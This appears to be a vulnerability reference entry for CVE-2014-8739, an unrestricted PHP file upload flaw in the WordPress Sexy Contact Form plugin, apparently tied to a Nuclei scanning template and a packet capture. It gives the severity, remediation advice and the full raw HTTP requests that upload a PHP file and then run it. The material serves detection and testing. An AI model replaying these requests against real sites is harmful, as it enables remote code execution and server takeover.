| Title | WordPress Sexy Contact Form (<= 0.9.7) - Arbitrary File Upload |
|---|---|
| Author | melmathari |
| Severity | Critical |
| Impact | Attackers can execute arbitrary PHP code on the server, leading to full system compromise. |
| Remediation | Update to the latest version of the plugin that fixes this issue or implement server-side validation to restrict file types. |
| CVSS Score | 9.8 |
| EPSS Score | 0.90252 |
| CVE ID | CVE-2014-8739 |
| CWE ID | CWE-434 |
| Tags | cve cve2014 wordpress wp-plugin wp sexy-contact-form intrusive file-upload rce vkev vuln |
Unrestricted file upload vulnerability in server/php/UploadHandler.php in the jQuery File Upload Plugin 6.4.4 for jQuery, as used in the Creative Solutions Creative Contact Form (formerly Sexy Contact Form) before 1.0.0 for WordPress and before 2.0.1 for Joomla!, allows remote attackers to execute arbitrary code by uploading a PHP file with an PHP extension, then accessing it via a direct request to the file in files/, as exploited in the wild in October 2014.
POST /wp-content/plugins/sexy-contact-form/includes/fileupload/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Content-Length: 225
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Accept-Encoding: gzip
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files[]"; filename="cp6bdh.php"
Content-Type: application/octet-stream
<?php echo "malicious"; ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
GET /wp-content/plugins/sexy-contact-form/includes/fileupload/files/cp6bdh.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2014/CVE-2014-8739.yaml
🦈 Packet Capture: ⬇️ Download cve-2014-8739.pcap
N/AN/A